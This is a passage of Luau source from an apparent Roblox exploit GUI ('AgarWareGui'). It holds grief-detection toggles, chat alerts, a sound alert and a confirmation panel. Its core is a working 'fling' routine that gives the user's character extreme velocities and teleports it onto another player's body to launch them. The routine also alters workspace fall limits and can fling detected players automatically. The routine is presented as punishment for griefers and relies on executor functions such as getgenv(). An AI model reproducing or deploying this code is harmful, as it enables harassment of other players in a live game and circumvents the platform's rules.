				print("[Grief Cooldown] Updated to", num)
			end
		else
			-- Reset to current valid value if bad input (letters, negatives)
			textBox.Text = tostring(shared.GriefCooldown)
			print("[Grief Cooldown] Invalid input, keeping", shared.GriefCooldown)
		end
	end)
end;
task.spawn(C_22d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript
local function C_230()
local script = G2L["230"];
	local PunishGroup = script.Parent
	local PunishMinimize = PunishGroup.PunishTitle.PunishMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(PunishGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = PunishGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	PunishMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			PunishGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			PunishMinimize.Text = "+"
		else
			PunishGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			PunishMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_230);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip
local function C_231()
local script = G2L["231"];
	-- ============================================================
	-- GRIEF TICKBOX TOOLTIP SCRIPT
	-- Tooltips for grief tickboxes only
	-- ============================================================
	
	local Group = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND TICKBOXES
	-- ============================================================
	
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local FlingGriefTickBox = findDescendant("FlingGriefTickBox")
	local AlertGriefTickBox = findDescendant("AlertGriefTickBox")
	local ConfirmGriefTickBox = findDescendant("ConfirmGriefTickBox")
	local SFXGriefTickBox = findDescendant("SFXGriefTickBox")
	local FlingExploitTickBox = findDescendant("FlingExploitTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	
	local flingTooltip = makeTooltip(
		"Automatically flings players detected griefing."
	)
	
	local alertTooltip = makeTooltip(
		"Sends an alert when a player is detected griefing."
	)
	
	local confirmTooltip = makeTooltip(
		"Makes you pov the player that triggered the detection and gives you a list of buttons to punish the player or cancel the detection."
	)
	
	local sfxTooltip = makeTooltip(
		"Plays an alert sound when a player is detected griefing."
	)
	
	local flingExploitTooltip = makeTooltip(
		"Automatically flings players detected using exploits to grief."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	
	hookTooltip(FlingGriefTickBox, flingTooltip)
	hookTooltip(AlertGriefTickBox, alertTooltip)
	hookTooltip(ConfirmGriefTickBox, confirmTooltip)
	hookTooltip(SFXGriefTickBox, sfxTooltip)
	hookTooltip(FlingExploitTickBox, flingExploitTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			flingTooltip:Destroy()
			alertTooltip:Destroy()
			confirmTooltip:Destroy()
			flingExploitTooltip:Destroy()
		end
	end)
end;
task.spawn(C_231);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript
local function C_237()
local script = G2L["237"];
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	local AlertGriefRow = script.Parent
	local PunishGroup = AlertGriefRow.Parent
	local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
	local AlertGriefTickBox = AlertGriefRow:WaitForChild("AlertGriefTickBox")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	
	AlertGriefTickBox:SetAttribute("Enabled", true)
	
	local function updateVisual()
		if AlertGriefTickBox:GetAttribute("Enabled") then
			AlertGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
		else
			AlertGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
		end
	end
	
	AlertGriefTickBox.MouseButton1Click:Connect(function()
		local state = not AlertGriefTickBox:GetAttribute("Enabled")
		AlertGriefTickBox:SetAttribute("Enabled", state)
		updateVisual()
	end)
	
	updateVisual()
	
	--------------------------------------------------
	-- ENSURE EVENTS EXIST
	--------------------------------------------------
	
	shared.GriefEvent        = shared.GriefEvent        or Instance.new("BindableEvent")
	shared.DeleteGriefEvent  = shared.DeleteGriefEvent  or Instance.new("BindableEvent")
	shared.PaintGriefEvent   = shared.PaintGriefEvent   or Instance.new("BindableEvent")
	shared.BuildGriefEvent   = shared.BuildGriefEvent   or Instance.new("BindableEvent")
	shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
	shared.BoomboxLoudEvent  = shared.BoomboxLoudEvent  or Instance.new("BindableEvent")
	
	--------------------------------------------------
	-- CHAT FUNCTION
	--------------------------------------------------
	
	local function sendChat(message)
		if shared.sendChat then
			shared.sendChat(message)
		else
			TextChatService.TextChannels.RBXGeneral:SendAsync(message)
		end
	end
	
	--------------------------------------------------
	-- ALERT MESSAGES
	--------------------------------------------------
	
	local griefMessages = {
		["delete"]  = "🚨 %s has been detected deleting another player's blocks",
		["paint"]   = "🚨 %s has been detected painting another player's blocks",
		["build"]   = "🚨 %s is building too fast",
		["exploit"] = "🚨 %s has been detected using exploits to grief",
	}
	
	--------------------------------------------------
	-- LISTEN FOR GRIEF EVENT
	--------------------------------------------------
	
	shared.GriefEvent.Event:Connect(function(player, griefType)
		if not AlertGriefTickBox:GetAttribute("Enabled") then return end
		local template = griefMessages[griefType]
		if not template then return end
		sendChat(string.format(template, player.DisplayName))
	end)
end;
task.spawn(C_237);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript
local function C_23b()
local script = G2L["23b"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	--------------------------------------------------
	-- GUI STRUCTURE
	--------------------------------------------------
	
	local ConfirmGriefRow = script.Parent
	local PunishGroup = ConfirmGriefRow.Parent
	local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
	local ConfirmGriefTickBox = ConfirmGriefRow:WaitForChild("ConfirmGriefTickBox")
	
	--------------------------------------------------
	-- SCREEN GUI
	--------------------------------------------------
	
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	local ConfirmGriefFrame = ScreenGui:WaitForChild("ConfirmGriefFrame")
	
	local ConfirmTimer = ConfirmGriefFrame:WaitForChild("ConfirmTimer")
	local GriefTargetLabel = ConfirmGriefFrame:WaitForChild("GriefTargetLabel")
	local FlingConfirm = ConfirmGriefFrame:WaitForChild("FlingConfirm")
	local AlertConfirm = ConfirmGriefFrame:WaitForChild("AlertConfirm")
	local CancelConfirm = ConfirmGriefFrame:WaitForChild("CancelConfirm")
	local FalseAlertConfirm = ConfirmGriefFrame:WaitForChild("FalseAlertConfirm")
	local PauseConfirm = ConfirmGriefFrame:WaitForChild("PauseConfirm")
	
	ConfirmGriefFrame.Visible = false
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	
	ConfirmGriefTickBox:SetAttribute("Enabled", false)
	
	local function updateVisual()
		if ConfirmGriefTickBox:GetAttribute("Enabled") then
			ConfirmGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
		else
			ConfirmGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
		end
	end
	
	ConfirmGriefTickBox.MouseButton1Click:Connect(function()
		local currentlyEnabled = ConfirmGriefTickBox:GetAttribute("Enabled")
		if currentlyEnabled then
			ConfirmGriefTickBox:SetAttribute("Enabled", false)
			PunishGroup:SetAttribute("ActivePunishMode", nil)
		else
			PunishGroup:SetAttribute("ActivePunishMode", "Confirm")
			ConfirmGriefTickBox:SetAttribute("Enabled", true)
		end
		updateVisual()
	end)
	
	PunishGroup:GetAttributeChangedSignal("ActivePunishMode"):Connect(function()
		local mode = PunishGroup:GetAttribute("ActivePunishMode")
		if mode ~= "Confirm" and ConfirmGriefTickBox:GetAttribute("Enabled") then
			ConfirmGriefTickBox:SetAttribute("Enabled", false)
			updateVisual()
		end
	end)
	
	updateVisual()
	
	--------------------------------------------------
	-- CAMERA
	--------------------------------------------------
	
	local cam = workspace.CurrentCamera
	
	local function spectatePlayer(player)
		task.spawn(function()
			for i = 1, 10 do
				if player and player.Character then
					local hum = player.Character:FindFirstChildOfClass("Humanoid")
					if hum then
						cam.CameraSubject = hum
						return
					end
				end
				task.wait(0.1)
			end
		end)
	end
	
	local function spectateBack()
		if LocalPlayer.Character then
			local hum = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
			if hum then cam.CameraSubject = hum end
		end
	end
	
	--------------------------------------------------
	-- FLING STATE
	--------------------------------------------------
	
	local flingCancelled = false
	
	--------------------------------------------------
	-- FLING
	--------------------------------------------------
	
	local function flingPlayer(TargetPlayer)
		local Character = LocalPlayer.Character
		local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
		local RootPart = Humanoid and Humanoid.RootPart
	
		local TCharacter = TargetPlayer.Character
		if not TCharacter then return false end
	
		local THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
		local TRootPart = THumanoid and THumanoid.RootPart
		local THead = TCharacter:FindFirstChild("Head")
		local Accessory = TCharacter:FindFirstChildOfClass("Accessory")
		local Handle = Accessory and Accessory:FindFirstChild("Handle")
	
		if not (Character and Humanoid and RootPart) then return false end
	
		if RootPart.Velocity.Magnitude < 50 then
			getgenv().OldPos = RootPart.CFrame
		end
	
		if THumanoid and THumanoid.Sit then return false end
	
		if THead then
			cam.CameraSubject = THead
		elseif Handle then
			cam.CameraSubject = Handle
		elseif THumanoid then
			cam.CameraSubject = THumanoid
		end
	
		if not TCharacter:FindFirstChildWhichIsA("BasePart") then return false end
	
		local flinged = false
		flingCancelled = false
	
		local BV = Instance.new("BodyVelocity")
		BV.Name = "ConfirmFlingVel"
		BV.Parent = RootPart
		BV.Velocity = Vector3.new(900000000, 900000000, 900000000)
		BV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
	
		local FPos = function(BasePart, Pos, Ang)
			if flingCancelled then return end
			RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
			Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
			RootPart.Velocity = Vector3.new(90000000, 90000000 * 10, 90000000)
			RootPart.RotVelocity = Vector3.new(900000000, 900000000, 900000000)
		end
	
		local SFBasePart = function(BasePart)
			local Angle = 0
			repeat
				if flingCancelled then break end
				if RootPart and THumanoid then
					if BasePart.Velocity.Magnitude < 50 then
						Angle = Angle + 100
						FPos(BasePart, CFrame.new(0, 1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait()
					else
						FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(-90), 0, 0)); task.wait()
						FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait()
					end
				else
					break
				end
			until flingCancelled
				or (BasePart.Velocity.Magnitude > 500)
				or (BasePart.Parent ~= TargetPlayer.Character)
				or (TargetPlayer.Parent ~= Players)
				or THumanoid.Sit
				or (Humanoid.Health <= 0)
	
			if BasePart.Velocity.Magnitude > 500 then
				flinged = true
			end
		end
	
		local savedFPDH = workspace.FallenPartsDestroyHeight
		workspace.FallenPartsDestroyHeight = math.huge * -1
	
		Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
	
		if TRootPart and THead then
			if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
				SFBasePart(THead)
			else
				SFBasePart(TRootPart)
			end
		elseif TRootPart and not THead then
			SFBasePart(TRootPart)
		elseif not TRootPart and THead then
			SFBasePart(THead)
		elseif not TRootPart and not THead and Accessory and Handle then
			SFBasePart(Handle)
		end
	
		BV:Destroy()
		Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
		cam.CameraSubject = Humanoid
	
		if getgenv().OldPos then
			repeat
				RootPart.CFrame = getgenv().OldPos * CFrame.new(0, 0.5, 0)
				Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, 0.5, 0))
				Humanoid:ChangeState("GettingUp")
				for _, part in ipairs(Character:GetChildren()) do
					if part:IsA("BasePart") then
						part.Velocity = Vector3.new()
						part.RotVelocity = Vector3.new()
					end
				end
				task.wait()
			until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
		end
	
		workspace.FallenPartsDestroyHeight = savedFPDH
		return flinged
	end
	
	--------------------------------------------------
	-- STATE
	--------------------------------------------------
	
	local currentTarget = nil
	local currentGriefType = nil
	local currentIsBoombox = false
	local timerConn = nil
	local isShowing = false
	local isFlingActive = false
	local isFlingDone = false
	local timerPaused = false
	local griefQueue = {}
	local queueProcessing = false
	
	--------------------------------------------------
	-- GRIEF TYPE LABELS & MESSAGES
	--------------------------------------------------
	
	local griefTypeLabels = {
		["delete"]  = "DELETE DETECTION",
		["paint"]   = "PAINT DETECTION",
		["build"]   = "BUILD SPAM",
		["exploit"] = "EXPLOIT DETECTION",
		["boombox"] = "LOUD BOOMBOX",
	}
	
	local alertMessages = {
		["delete"]  = "⚠️%s IS GRIEVING",
		["paint"]   = "⚠️%s IS GRIEF PAINTING",
		["build"]   = "⚠️%s IS SPAMMING BLOCKS",
		["exploit"] = "⚠️%s IS USING EXPLOITS TO GRIEF",
	}
	
	local flingMessages = {
		["delete"]  = "⚠️%s was grieving and got flung",
		["paint"]   = "⚠️%s was paint griefing and got flung",
		["build"]   = "⚠️%s was spamming blocks and got flung",
		["exploit"] = "⚠️%s was using exploits to grief and got flung",
	}
	
	--------------------------------------------------
	-- BUTTON VISIBILITY HELPER
	--------------------------------------------------
	
	local function setButtonsForBoombox(isBoombox)
		AlertConfirm.Visible = not isBoombox
		FalseAlertConfirm.Visible = not isBoombox
	end
	
	--------------------------------------------------
	-- SHOW (forward declaration)
	--------------------------------------------------
	local showConfirm
	
	--------------------------------------------------
	-- HIDE
	--------------------------------------------------
	
	local function hideConfirm(clearQueue)
		isShowing = false
		isFlingActive = false
		isFlingDone = false
		timerPaused = false
		currentTarget = nil
		currentGriefType = nil
		currentIsBoombox = false
		ConfirmGriefFrame.Visible = false
		setButtonsForBoombox(false)
		spectateBack()
	
		PauseConfirm.Text = "PAUSE TIMER"
	
		if shared.StopGriefSFX then shared.StopGriefSFX() end
	
		if timerConn then
			timerConn:Disconnect()
			timerConn = nil
		end
	
		if clearQueue then
			griefQueue = {}
			queueProcessing = false
			return
		end
	
		if #griefQueue > 0 then
			local nextItem = table.remove(griefQueue, 1)
			task.wait(0.3)
			showConfirm(nextItem.player, nextItem.griefType, nextItem.isBoombox)
		else
			queueProcessing = false
		end
	end
	
	--------------------------------------------------
	-- SHOW
	--------------------------------------------------
	
	showConfirm = function(player, griefType, isBoombox)
		if isShowing then
			for _, item in ipairs(griefQueue) do
				if item.player == player then return end
			end
			table.insert(griefQueue, {player = player, griefType = griefType, isBoombox = isBoombox})
			return
		end
	
		isShowing = true
		isFlingDone = false
		queueProcessing = true
		currentTarget = player
		currentGriefType = griefType
		currentIsBoombox = isBoombox or false
	
		timerPaused = false
		PauseConfirm.Text = "PAUSE TIMER"
	
		setButtonsForBoombox(currentIsBoombox)
	
		local label = griefTypeLabels[griefType] or "GRIEFING"
		ConfirmGriefFrame.Visible = true
		GriefTargetLabel.Text = "POSSIBLE GRIEF: " .. player.DisplayName .. " | " .. label
	
		task.delay(0.1, function()
			if isShowing and currentTarget == player then
				spectatePlayer(player)
			end
		end)
	
		local timeLeft = currentIsBoombox and 10 or 20
		ConfirmTimer.Text = "(" .. timeLeft .. ".0)"
	
		if timerConn then timerConn:Disconnect() end
	
		timerConn = RunService.Heartbeat:Connect(function()
			if not isShowing then return end
			if isFlingActive then return end
			if timerPaused then return end
	
			timeLeft -= (1/60)
			ConfirmTimer.Text = "(" .. string.format("%.1f", timeLeft) .. ")"
	
			if timeLeft <= 0 then
				hideConfirm(false)
			end
		end)
	end
	
	--------------------------------------------------
	-- BUTTONS
	--------------------------------------------------
	
	FlingConfirm.MouseButton1Click:Connect(function()
		if not currentTarget then return end
		if isFlingDone then return end
	
		if isFlingActive then
			flingCancelled = true
			return
		end
	
		local target = currentTarget
		local griefType = currentGriefType
		local isBoombox = currentIsBoombox
	
		isFlingActive = true
		flingCancelled = false
		FlingConfirm.Text = "CANCEL FLING"
		FlingConfirm.BackgroundColor3 = Color3.fromRGB(57,0,0)
	
		task.spawn(function()
			local success = flingPlayer(target)
	
			isFlingActive = false
			isFlingDone = true
			FlingConfirm.Text = "FLING PLAYER"
			FlingConfirm.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
	
			if flingCancelled then
				isFlingDone = false
				return
			end
	
			hideConfirm(false)
	
			if success and not isBoombox and shared.sendChat then
				local template = flingMessages[griefType]
				if template then
					shared.sendChat(string.format(template, target.DisplayName))
				end
			end
		end)
	end)
	
	AlertConfirm.MouseButton1Click:Connect(function()
		if not currentTarget then return end
		if shared.sendChat then
			local template = alertMessages[currentGriefType] or "⚠️%s IS GRIEVING"
			shared.sendChat(string.format(template, currentTarget.DisplayName))
		end
	end)
	
	FalseAlertConfirm.MouseButton1Click:Connect(function()
		if isFlingActive then
			flingCancelled = true
			task.wait(0.1)
		end
		if shared.sendChat then
			shared.sendChat("❌False Alert")
		end
		hideConfirm(false)
	end)
	
	CancelConfirm.MouseButton1Click:Connect(function()
		if isFlingActive then
			flingCancelled = true
			task.wait(0.1)
		end
		hideConfirm(false)
	end)
	
	PauseConfirm.MouseButton1Click:Connect(function()
		timerPaused = not timerPaused
		PauseConfirm.Text = timerPaused and "UNPAUSE TIMER" or "PAUSE TIMER"
	end)
	
	--------------------------------------------------
	-- ENSURE EVENTS EXIST
	--------------------------------------------------
	
	shared.GriefEvent        = shared.GriefEvent        or Instance.new("BindableEvent")
	shared.DeleteGriefEvent  = shared.DeleteGriefEvent  or Instance.new("BindableEvent")
	shared.PaintGriefEvent   = shared.PaintGriefEvent   or Instance.new("BindableEvent")
	shared.BuildGriefEvent   = shared.BuildGriefEvent   or Instance.new("BindableEvent")
	shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
	shared.BoomboxLoudEvent  = shared.BoomboxLoudEvent  or Instance.new("BindableEvent")
	
	--------------------------------------------------
	-- LISTEN FOR GRIEF EVENT
	--------------------------------------------------
	
	shared.GriefEvent.Event:Connect(function(player, griefType)
		if not player then return end
		local isExploit = griefType == "exploit"
		local autoFling = shared.FlingExploitEnabled == true
	
		if isExploit and autoFling then
			showConfirm(player, griefType, false)
			task.delay(0.1, function()
				if isFlingActive or isFlingDone then return end
				isFlingActive = true
				flingCancelled = false
				FlingConfirm.Text = "CANCEL FLING"
				FlingConfirm.BackgroundColor3 = Color3.fromRGB(57, 0, 0)
				task.spawn(function()
					local success = flingPlayer(player)
					isFlingActive = false
					isFlingDone = true
					FlingConfirm.Text = "FLING PLAYER"
					FlingConfirm.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
					if not flingCancelled and success then
						if shared.sendChat then
							local msg = string.format(flingMessages[griefType] or flingMessages["delete"], player.DisplayName)
							shared.sendChat(msg)
						end
					end
					hideConfirm(false)
				end)
			end)
			return
		end
	
		if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end
		showConfirm(player, griefType, false)
	end)
	
	--------------------------------------------------
	-- LISTEN FOR BOOMBOX EVENT
	--------------------------------------------------
	
	shared.BoomboxLoudEvent.Event:Connect(function(player)
		if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end
		showConfirm(player, "boombox", true)
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			flingCancelled = true
			hideConfirm(true)
		end
	end)
end;
task.spawn(C_23b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript
local function C_23f()
local script = G2L["23f"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local SFXGriefRow = script.Parent
	local PunishGroup = SFXGriefRow.Parent
	local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
	local SFXGriefTickBox = SFXGriefRow:WaitForChild("SFXGriefTickBox")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	
	SFXGriefTickBox:SetAttribute("Enabled", false)
	
	local function updateVisual()
		if SFXGriefTickBox:GetAttribute("Enabled") then
			SFXGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
		else
			SFXGriefTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	SFXGriefTickBox.MouseButton1Click:Connect(function()
		local state = not SFXGriefTickBox:GetAttribute("Enabled")
		SFXGriefTickBox:SetAttribute("Enabled", state)
		updateVisual()
	end)
	
	updateVisual()
	
	--------------------------------------------------
	-- SOUND
	--------------------------------------------------
	
	local sound = Instance.new("Sound")
	sound.SoundId = "rbxassetid://138817522589884"
	sound.Volume = 1
	sound.Parent = workspace
	
	--------------------------------------------------
	-- STOP FUNCTION (called by ConfirmGriefScript on hide)
	-- Only stops if no new detection came in recently
	--------------------------------------------------
	
	local lastPlayedAt = 0
	
	shared.StopGriefSFX = function()
		-- if sound was played less than 1 second ago, don't stop it
		-- so a new detection right before hide doesn't get cut off
		if tick() - lastPlayedAt > 1 then
			sound:Stop()
		end
	end
	
	--------------------------------------------------
	-- ENSURE EVENTS EXIST
	--------------------------------------------------
	
	shared.GriefEvent        = shared.GriefEvent        or Instance.new("BindableEvent")
	shared.DeleteGriefEvent  = shared.DeleteGriefEvent  or Instance.new("BindableEvent")
	shared.PaintGriefEvent   = shared.PaintGriefEvent   or Instance.new("BindableEvent")
	shared.BuildGriefEvent   = shared.BuildGriefEvent   or Instance.new("BindableEvent")
	shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
	shared.BoomboxLoudEvent  = shared.BoomboxLoudEvent  or Instance.new("BindableEvent")
	
	--------------------------------------------------
	-- LISTEN
	--------------------------------------------------
	
	local function playSound()
		if not SFXGriefTickBox:GetAttribute("Enabled") then return end
		lastPlayedAt = tick()
		sound:Stop()
		sound:Play()
	end
	
	shared.GriefEvent.Event:Connect(function(player, griefType)
		playSound()
	end)
	
	shared.BoomboxLoudEvent.Event:Connect(function(player)
		playSound()
	end)
end;
task.spawn(C_23f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript
local function C_243()
local script = G2L["243"];
	local Players = game:GetService("Players")
	
	local FlingExploitRow = script.Parent
	local PunishGroup = FlingExploitRow.Parent
	local FlingExploitTickBox = FlingExploitRow:WaitForChild("FlingExploitTickBox")
	local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
	
	shared.FlingExploitEnabled = false
	
	local function updateVisual()
		if shared.FlingExploitEnabled then
			FlingExploitTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
		else
			FlingExploitTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	FlingExploitTickBox.MouseButton1Click:Connect(function()
		shared.FlingExploitEnabled = not shared.FlingExploitEnabled
		updateVisual()
	end)
	
	updateVisual()
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			shared.FlingExploitEnabled = false
		end
	end)
end;
task.spawn(C_243);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript
local function C_24a()
local script = G2L["24a"];
	local MiscGroup = script.Parent
	local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(MiscGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MiscGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MiscMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			MiscGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MiscMinimize.Text = "+"
		else
			MiscGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MiscMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_24a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript
local function C_250()
local script = G2L["250"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local TeleportService = game:GetService("TeleportService")
	local HttpService = game:GetService("HttpService")
	local LocalPlayer = Players.LocalPlayer
	
	local LJoinXLRow = script.Parent
	local LJoinXLButton = LJoinXLRow.LJoinXLButton
	
	local PLACE_ID = 12943245078
	local HOLD_TIME = 1.0
	local GREY = Color3.fromRGB(80, 80, 80)
	
	--------------------------------------------------
	-- BUILD HOLD-BUTTON UI
	--------------------------------------------------
	
	LJoinXLButton.Text = ""
	
	local fillBar = Instance.new("Frame")
	fillBar.Name = "FillBar"
	fillBar.Size = UDim2.new(0, 0, 1, 0)
	fillBar.Position = UDim2.new(0, 0, 0, 0)
	fillBar.BackgroundColor3 = GREY
	fillBar.BorderSizePixel = 0
	fillBar.ZIndex = 1
	fillBar.Parent = LJoinXLButton
	
	local btnLabel = Instance.new("TextLabel")
	btnLabel.Name = "BtnLabel"
